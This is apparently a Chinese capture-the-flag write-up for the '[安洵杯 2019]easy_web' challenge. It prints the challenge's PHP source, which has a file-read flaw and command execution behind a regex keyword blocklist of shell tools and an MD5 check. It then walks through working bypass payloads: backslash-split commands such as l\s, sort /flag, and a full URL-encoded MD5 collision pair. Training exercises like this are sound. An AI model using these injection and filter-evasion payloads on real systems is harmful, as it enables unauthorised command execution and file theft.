[安洵杯 2019]easy_web
文章目录
- [安洵杯 2019]easy_web
- 掌握知识
- 解题思路
- 代码分析
- 正式解题
- 关键paylaod
掌握知识
url
地址和源代码的信息捕捉;图片和base64
之间转换;base64
和十六进制编码的了解;代码审计,绕过正则匹配对关键字的过滤;MD5碰撞,md5
参数强转类型的强等于绕过
解题思路
- 打开题目地址,发现网页信息,狠狠地真实了WEB手。网页没看出什么内容,先查看源代码,发现了一个图片的
html
标签,里面是对其图片信息进行base64
的结果
- 没发现特别的信息,看了一眼
url
地址发现直接给出了了两个参数,查看参数名能感觉到第一个是图片名第二个应该是要执行的命令。但是第一个参数很明显是进行编码的,看其很像是base64
经过两次base64
和一次十六进制解码得到了文件名为555.png
。
- 联想一下刚才图片标签中的
base64
信息,猜测修改文件名就可以进行文件读取的操作。尝试读取index.php
文件,先进性16进制编码在进行两次base64
进行传参,将标签内的base64
编码进行解码,得到了index.php
的源代码
index.php
696e6465782e706870
Njk2ZTY0NjU3ODJlNzA2ODcw
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
- 得到了源代码就要开始代码审计了,先进性一下简单分析发现关键点在
cmd
参数,img
参数传参再利用完文件读取就没有什么用处了。cmd
的参数是系统命令,其中需要绕过挺多的正则的,但都是关键字匹配,可以使用参杂符号来进行绕过,关键的几个符号没有背过滤就好。在执行命令前还需要通过md5
的强比较,这里进行了类型的强转,所以使用数组就不可以了,但是相关的paylaod
网上还是随便搜索的
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi嚚?no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
<html>
<style>body{background:url(./bj.png) no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
代码分析
- 对于改题目的正则匹配,
ls
被过滤了但是依旧可以使用参杂符号的形式来绕过,例如l''s l\s
进行绕过,这里在shell解析器中都会被当作ls
执行,但这里单引号被过滤了,就使用后者进行绕过,读取文件的命令有很多,这里可以使用掺杂符号进行绕过,还可以使用其他的命令进行查看文件内容。没有过滤空格和/
还是不错的
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
}
- 很明显这是
md5
函数绕过的判断,不同以往的md5
强比较的题目,这里对传入的值进行了了强转字符型的操作,这样就不能使用数组进行绕过了,需要去进行md5
碰撞得到两个字符串不相同但是md5
的结果相同的。当然这在网上已经烂大街了,搜索一下md5碰撞绕过也就能找到相应的paylaod
。通过这波判断也就能执行传入的命令了
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
正式解题
- 绕过的条件已经分析好了,直接使用分析得到了的
paylaod
进行抓包传参,发现目录下并没有flag,前去查看根目录发现flag
文件。毕竟是GET传参还是bp抓包,所以空格还是替换成%20
才能够被解析
- 这里就不使用参杂符号绕过了,使用
sort
进行读取文件得到flag
关键paylaod
index.php
696e6465782e706870
Njk2ZTY0NjU3ODJlNzA2ODcw
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3cmd=l\s
cmd=l\s%20/
cmd=sort%20/flaga=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2